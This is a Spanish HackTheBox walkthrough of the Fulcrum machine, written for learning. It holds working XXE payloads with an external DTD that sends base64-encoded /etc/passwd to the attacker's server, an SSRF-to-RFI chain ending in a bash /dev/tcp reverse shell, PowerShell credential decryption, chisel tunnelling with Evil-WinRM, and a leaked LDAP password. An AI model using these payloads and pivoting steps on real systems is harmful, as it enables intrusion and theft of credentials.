Entrada

Fulcrum - HackTheBox

Buenas! Hoy completaremos la máquina Fulcrum de la plataforma HackTheBox, donde tocaremos los siguientes puntos:

  • API Enumeration - Endpoint Brute Force
  • Advanced XXE Exploitation (XML External Entity Injection)
  • XXE - Custom Entities
  • XXE - External Entities
  • XXE - XML Parameter Entities
  • XXE - Blind SSRF (Exfiltrate data out-of-band) + Base64 Wrapper [Reading Internal Files]
  • XXE + RFI (Remote File Inclusion) / SSRF to RCE
  • Host Discovery - Bash Scripting
  • Decrypting PSCredential Password with PowerShell
  • PIVOTING 1 - Tunneling with Chisel + Evil-WinRM
  • Gaining access to a Windows system
  • Information Leakage - Domain User Password
  • PIVOTING 2 - Using Invoke-Command to execute commands on another Windows server
  • Port Forwarding
  • Authenticating to the DC shares - SYSVOL Enumeration
  • Information Leakage - Domain Admin Password
  • PIVOTING 3 - Using Invoke-Command to execute commands on the Domain Controller (DC)

Reconocimiento


Escaneo de puertos


Como en todas las máquinas, comenzaremos con un escaneo de puertos con la herramienta nmap

1
2
3
4
5
6
7
8
9
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.62 -oG allPorts
Nmap scan report for 10.10.10.62
PORT      STATE SERVICE      REASON
4/tcp     open  unknown      syn-ack ttl 63
22/tcp    open  ssh          syn-ack ttl 63
80/tcp    open  http         syn-ack ttl 63
88/tcp    open  kerberos-sec syn-ack ttl 63
9999/tcp  open  abyss        syn-ack ttl 63
56423/tcp open  unknown      syn-ack ttl 63

Ahora que tenemos los puertos que están abiertos, volveremos a aplicar un escaneo más exhaustivo de reconocimiento con nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ nmap -p4,22,80,88,9999,56423 -sCV 10.10.10.62 -oN targeted
Nmap scan report for 10.10.10.62

PORT      STATE SERVICE VERSION
4/tcp     open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site does not have a title (text/html; charset=UTF-9).
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp    open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: 502 Bad Gateway
88/tcp    open  http    nginx 1.18.0 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: phpMyAdmin
|_http-server-header: nginx/1.18.0 (Ubuntu)
9999/tcp  open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: 502 Bad Gateway
56423/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: Fulcrum-API Beta
|_http-title: Site does not have a title (application/json;charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 

HTTP (TCP 4)


No hay nada más interesante en está página web.

HTTP (TCP 80)


Es un poco extraño que al ser una máquina Linux el error que sale sea tipico de los servidores IIS propios de Windows

HTTP (TCP 88)


Tras intentar credenciales por defecto como admin:admin no he conseguido nada

HTTP (TCP 9999)


Esta página web es exactamente igual a la del puerto 80

API (TCP 56423)


Esta web nos devuelve contenido en JSON, por lo que parece ser una API

Parece ser que acepta peticiones por POST

Consola como www-data (Fulcrum)


XXE


Si por Burpsuite le enviamos contenido XML por GET parece ser que nos lo acepta, usaremos este payload

1
<Heartbeat><Ping>Ping</Ping></Heartbeat>

Explotación


Usando payloads de PayloasdAllTheThings, cambiaremos la IP por la de nuestro equipo víctima y abriremos un servidor HTTP por python

1
2
3
4
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://10.10.14.12/x"> %ext;
]>

Exfiltración de datos


Usaremos este payload para exfiltrar el archivo /etc/passwd, que al ser una máquina Linux seguramente exista. Este payload lo alojaremos en un archivo .dtd para apuntar a él con el XXE

1
2
3
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://10.10.14.12/?%file;'>">
%all;

El payload que enviaremos por BurpSuite será el siguiente

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://10.10.14.12/l4nder.dtd">
<Heartbeat><Ping>ping</Ping></Heartbeat>

Al enviar nuestro payload y volver al servidor HTTP, nos encontraremos con la petición cifrada en base64

Después de descifrar el contenido no parece haber nada interesante

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMDoxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMToxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4OjEwMjoxMDQ6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbiwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDY6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXNsb2c6eDoxMDQ6MTEwOjovaG9tZS9zeXNsb2c6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjEwNjoxMTE6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCnV1aWRkOng6MTA3OjExMjo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA4OjExMzo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCmxhbmRzY2FwZTp4OjEwOToxMTU6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMTA6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTExOjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1jb3JlZHVtcDp4Ojk5OTo5OTk6c3lzdGVtZCBDb3JlIER1bXBlcjovOi91c3Ivc2Jpbi9ub2xvZ2luCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCnVzYm11eDp4OjExMjo0Njp1c2JtdXggZGFlbW9uLCwsOi92YXIvbGliL3VzYm11eDovdXNyL3NiaW4vbm9sb2dpbgpkbnNtYXNxOng6MTEzOjY1NTM0OmRuc21hc3EsLCw6L3Zhci9saWIvbWlzYzovdXNyL3NiaW4vbm9sb2dpbgpsaWJ2aXJ0LXFlbXU6eDo2NDA1NToxMDg6TGlidmlydCBRZW11LCwsOi92YXIvbGliL2xpYnZpcnQ6L3Vzci9zYmluL25vbG9naW4KbGlidmlydC1kbnNtYXNxOng6MTE0OjEyMDpMaWJ2aXJ0IERuc21hc3EsLCw6L3Zhci9saWIvbGlidmlydC9kbnNtYXNxOi91c3Ivc2Jpbi9ub2xvZ2luCg==" | base64 -d; echo
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:113:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
libvirt-qemu:x:64055:108:Libvirt Qemu,,,:/var/lib/libvirt:/usr/sbin/nologin
libvirt-dnsmasq:x:114:120:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/usr/sbin/nologin

Enumerando los archivos de las páginas web conseguimos lo siguiente:

API:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
	header('Content-Type:application/json;charset=utf-8');
	header('Server: Fulcrum-API Beta');
	libxml_disable_entity_loader (false);
	$xmlfile = file_get_contents('php://input');
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD);
	$input = simplexml_import_dom($dom);
	$output = $input->Ping;
	//check if ok
	if($output == "Ping")
	{
		$data = array('Heartbeat' => array('Ping' => "Ping"));
	}else{
		$data = array('Heartbeat' => array('Ping' => "Pong"));
	}
	echo json_encode($data);


?>

HTTP TCP4:

1
2
3
4
5
6
7
8
9
<?php
if($_SERVER['REMOTE_ADDR'] != "127.0.0.1")
{
	echo "<h1>Under Maintance</h1><p>Please <a href=\"http://" . $_SERVER['SERVER_ADDR'] . ":4/index.php?page=home\">try again</a> later.</p>";
}else{
	$inc = $_REQUEST["page"];
	include($inc.".php");
}
?>

SSRF


Lo que realiza el código de la página web alojada en el puerto 4 es:

  • Verificar si la conexión proviene del servidor local (127.0.0.1) o no
  • Si la conexión no viene del localhost, muestra el contenido que hemos visto
  • Si la conexión proviene del localhost, podemos mandarle de parámetro page y incluirá el archivo

Para realizar el Server Side Request Forgery, usaremos el XXE para realizar peticiones al propio servidor, para eso usaremos este payload

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://localhost:4">
<data>&send;</data>

Ahora le concatenaremos el parámetro page para ver si podemos incluir archivos remotos y provocar un Remote File Inclusion (RFI)

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://localhost:4/?page=http://10.10.14.12/l4nder">
<data>&send;</data>

Si nos fijamos en nuestro servidor de python, vemos la petición /l4nder.php

Ahora que tenemos un RFI, podemos craftear un archivo PHP que nos interpretará la página web

1
2
3
<?php
	system("ping -c 1 10.10.14.12");
?>

Ahora que tenemos control para ejecutar comandos, usaremos el mítico oneliner de bash para entablarnos una reverse shell

1
2
3
<?php
	system("bash -c 'bash -i >& /dev/tcp/10.10.14.12/443 0>&1'")
?>

Consola como WebUser (webserver)


Enumeración


Si enumeramos las interfaces de red, nos fijamos que la máquina tiene otra IP (192.168.122.1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
www-data@fulcrum:~/uploads$ ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.62  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 fe80::250:56ff:feb9:eb34  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:feb9:eb34  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b9:eb:34  txqueuelen 1000  (Ethernet)
        RX packets 199276  bytes 12073810 (12.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 199825  bytes 11657006 (11.6 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 2627  bytes 221369 (221.3 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2627  bytes 221369 (221.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

virbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.122.1  netmask 255.255.255.0  broadcast 192.168.122.255
        ether 52:54:00:97:17:b7  txqueuelen 1000  (Ethernet)
        RX packets 757  bytes 60271 (60.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 196  bytes 16293 (16.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Viendo la lista de procesos, vemos que hay tres máquinas QEMU corriendo en la máquina

1
2
3
4
5
6
7
8
9
www-data@fulcrum:/$ ps auxww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
...[snip]...
libvirt+    1328 60.7 25.0 2964572 1524032 ?     Sl   10:56  11:25 /usr/bin/qemu-system-x86_64 -name guest=WEB01,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-1-WEB01/master-key.aes -machine pc-i440fx-focal,accel=kvm,usb=off,vmport=off,dump-guest-core=off -cpu EPYC-Rome,x2apic=on,tsc-deadline=on,hypervisor=on,tsc-adjust=on,arch-capabilities=on,xsaves=on,virt-ssbd=on,rdctl-no=on,skip-l1dfl-vmentry=on,mds-no=on,pschange-mc-no=on,umip=off,rdpid=off,xgetbv1=off,perfctr-core=off,xsaveerptr=off,wbnoinvd=off,amd-stibp=off -m 2048 -overcommit mem-lock=off -smp 1,sockets=1,cores=1,threads=1 -uuid fa6eaeb1-64c2-4196-8879-32a78fdffdc8 -no-user-config -nodefaults -chardev socket,id=charmonitor,fd=30,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=delay -no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot strict=on -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x5.0x7 -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x5 -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x5.0x1 -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x5.0x2 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x6 -blockdev {"driver":"file","filename":"/var/lib/libvirt/images/WEB01.qcow2","node-name":"libvirt-1-storage","auto-read-only":true,"discard":"unmap"} -blockdev {"node-name":"libvirt-1-format","read-only":false,"driver":"qcow2","file":"libvirt-1-storage","backing":null} -device ide-hd,bus=ide.0,unit=0,drive=libvirt-1-format,id=ide0-0-0,bootindex=1 -netdev tap,fd=32,id=hostnet0 -device e1000,netdev=hostnet0,id=net0,mac=52:54:00:9e:52:f4,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -chardev spicevmc,id=charchannel0,name=vdagent -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 -spice port=5900,addr=127.0.0.1,disable-ticketing,seamless-migration=on -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,vram64_size_mb=0,vgamem_mb=16,max_outputs=1,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x7 -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny -msg timestamp=on
...[snip]...
libvirt+    1484 46.5 28.5 2984048 1735264 ?     Rl   10:56   8:42 /usr/bin/qemu-system-x86_64 -name guest=FILE,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-2-FILE/master-key.aes -machine pc-i440fx-focal,accel=kvm,usb=off,vmport=off,dump-guest-core=off -cpu EPYC-Rome,x2apic=on,tsc-deadline=on,hypervisor=on,tsc-adjust=on,arch-capabilities=on,xsaves=on,virt-ssbd=on,rdctl-no=on,skip-l1dfl-vmentry=on,mds-no=on,pschange-mc-no=on,umip=off,rdpid=off,xgetbv1=off,perfctr-core=off,xsaveerptr=off,wbnoinvd=off,amd-stibp=off -m 2048 -overcommit mem-lock=off -smp 1,sockets=1,cores=1,threads=1 -uuid bfabe8f5-334f-4df9-9a4a-5886cc223ce8 -no-user-config -nodefaults -chardev socket,id=charmonitor,fd=31,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=delay -no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot strict=on -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x5.0x7 -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x5 -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x5.0x1 -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x5.0x2 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x6 -blockdev {"driver":"file","filename":"/var/lib/libvirt/images/FILE.qcow2","node-name":"libvirt-1-storage","auto-read-only":true,"discard":"unmap"} -blockdev {"node-name":"libvirt-1-format","read-only":false,"driver":"qcow2","file":"libvirt-1-storage","backing":null} -device ide-hd,bus=ide.0,unit=0,drive=libvirt-1-format,id=ide0-0-0,bootindex=1 -netdev tap,fd=33,id=hostnet0 -device e1000,netdev=hostnet0,id=net0,mac=52:54:00:9e:52:f3,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -chardev spicevmc,id=charchannel0,name=vdagent -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 -spice port=5901,addr=127.0.0.1,disable-ticketing,seamless-migration=on -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,vram64_size_mb=0,vgamem_mb=16,max_outputs=1,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x7 -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny -msg timestamp=on
...[snip]...
libvirt+    1522 47.8 30.1 2998496 1835668 ?     Sl   10:56   8:54 /usr/bin/qemu-system-x86_64 -name guest=DC,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-3-DC/master-key.aes -machine pc-i440fx-focal,accel=kvm,usb=off,vmport=off,dump-guest-core=off -cpu EPYC-Rome,x2apic=on,tsc-deadline=on,hypervisor=on,tsc-adjust=on,arch-capabilities=on,xsaves=on,virt-ssbd=on,rdctl-no=on,skip-l1dfl-vmentry=on,mds-no=on,pschange-mc-no=on,umip=off,rdpid=off,xgetbv1=off,perfctr-core=off,xsaveerptr=off,wbnoinvd=off,amd-stibp=off -m 2048 -overcommit mem-lock=off -smp 1,sockets=1,cores=1,threads=1 -uuid f04d92d5-9597-488b-8224-4f0f97f7e089 -no-user-config -nodefaults -chardev socket,id=charmonitor,fd=32,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=delay -no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot strict=on -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x5.0x7 -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x5 -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x5.0x1 -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x5.0x2 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x6 -blockdev {"driver":"file","filename":"/var/lib/libvirt/images/DC.qcow2","node-name":"libvirt-1-storage","auto-read-only":true,"discard":"unmap"} -blockdev {"node-name":"libvirt-1-format","read-only":false,"driver":"qcow2","file":"libvirt-1-storage","backing":null} -device ide-hd,bus=ide.0,unit=0,drive=libvirt-1-format,id=ide0-0-0,bootindex=1 -netdev tap,fd=34,id=hostnet0 -device e1000,netdev=hostnet0,id=net0,mac=52:54:00:9e:52:f2,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -chardev spicevmc,id=charchannel0,name=vdagent -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 -spice port=5902,addr=127.0.0.1,disable-ticketing,seamless-migration=on -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,vram64_size_mb=0,vgamem_mb=16,max_outputs=1,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x7 -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny -msg timestamp=on
...[snip]...

Son tres máquinas: DC, FILE y WEB01

Enumeración de la red


Con el comando arp -n, podemos ver otras IP

Ahora con este comando veremos las IP que están activas ahora mismo

1
for i in {1...254}; do (ping -c 1 192.168.122.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

Subiremos un binario estático de NMAP para escanear los puertos en esta nueva máquina, como vemos el puerto 80, quiero pensar que está máquina es la WEB01

1
2
3
4
5
6
7
8
9
10
11
www-data@fulcrum:/dev/shm$ ./nmap -sT -Pn -p- --min-rate 10000 192.168.122.228         

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-08-12 12:12 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 192.168.122.228
Host is up (0.021s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
5985/tcp open  unknown

Configuración NGINX


Las configuraciones de NGINX nos revelan que hay configurados otros 3 webservers. Como configuraciones son todas las mismas, solo que diferentes puertos y raices, por ejemplo, aqui está el de phpMyAdmin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
server {
        listen 88;
        root /var/www/pma;
        index index.php index.html index.htm;

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
        #
        #       # With php7.0-cgi alone:
        #       fastcgi_pass 127.0.0.1:9000;
        #       # With php7.0-fpm:
                fastcgi_pass unix:/run/php/php7.4-fpm.sock;
        }
}

/var/www


En el directorio /var/www hay 4 carpetas

En la carpeta api hay un archivo index.php que es vulnerable al XXE de antes

En el directorio pma están los contenidos del phpMyAdmin del puerto 88

En la carpeta uploads, hay un script de PowerShell con unas credenciales encriptadas

El script de PowerShell es el siguiente

1
2
3
4
5
6
7
8
9
10
# TODO: Forward the PowerShell remoting port to the external interface
# Password is now encrypted \o/

$1 = 'WebUser'
$2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ','
$3 = '76492d1116743f0423413b16050a5345MgB8AEQAVABpAHoAWgBvAFUALwBXAHEAcABKAFoAQQBNAGEARgArAGYAVgBGAGcAPQA9AHwAOQAwADgANwAxADIAZgA1ADgANwBiADIAYQBjADgAZQAzAGYAOQBkADgANQAzADcAMQA3AGYAOQBhADMAZQAxAGQAYwA2AGIANQA3ADUAYQA1ADUAMwA2ADgAMgBmADUAZgA3AGQAMwA4AGQAOAA2ADIAMgAzAGIAYgAxADMANAA=' 
$4 = $3 | ConvertTo-SecureString -key $2
$5 = New-Object System.Management.Automation.PSCredential ($1, $4)

Invoke-Command -Computer upload.fulcrum.local -Credential $5 -File Data.ps1

Consola por WinRM


Desencriptar contraseña


Abrimeros una sesión de Powershell en nuestro Linux con pwsh para desencriptar la contraseña

Ahora que hemos procesado la credencial, con el comando $5.GetNetworkCredential() | fl conseguiremos la contraseña en texto claro

Túneles


Usaremos chisel para crear un túnel socks5 para conectarnos al WinRM con proxychains!

1
2
3
4
5
# Atacante
❯ ./chisel server -p 1234 --reverse

# Víctima
www-data@fulcrum:/tmp$ ./chisel client 10.10.14.12:1234 R:socks

Ahora que tenemos los túneles creados con proxychains y Evil-WinRM nos conectaremos con las credenciales

Consola como btables (FILE)


Enumeración


Enumerando los archivos del servidor web, nos encontramos con archivos tipicos de un IIS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
*Evil-WinRM* PS C:\inetpub\wwwroot> cat web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0">
    <appSettings />
    <connectionStrings>
        <add connectionString="LDAP://dc.fulcrum.local/OU=People,DC=fulcrum,DC=local" name="ADServices" />
    </connectionStrings>
    <system.web>
        <membership defaultProvider="ADProvider">
            <providers>
                <add name="ADProvider" type="System.Web.Security.ActiveDirectoryMembershipProvider, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" connectionStringName="ADConnString" connectionUsername="FULCRUM\LDAP" connectionPassword="PasswordForSearching123!" attributeMapUsername="SAMAccountName" />
            </providers>
        </membership>
    </system.web>
<system.webServer>
   <httpProtocol>
      <customHeaders>
           <clear />
      </customHeaders>
   </httpProtocol>
        <defaultDocument>
            <files>
                <clear />
                <add value="Default.asp" />
                <add value="Default.htm" />
                <add value="index.htm" />
                <add value="index.html" />
                <add value="iisstart.htm" />
            </files>
        </defaultDocument>
</system.webServer>
</configuration>
*Evil-WinRM* PS C:\inetpub\wwwroot> 

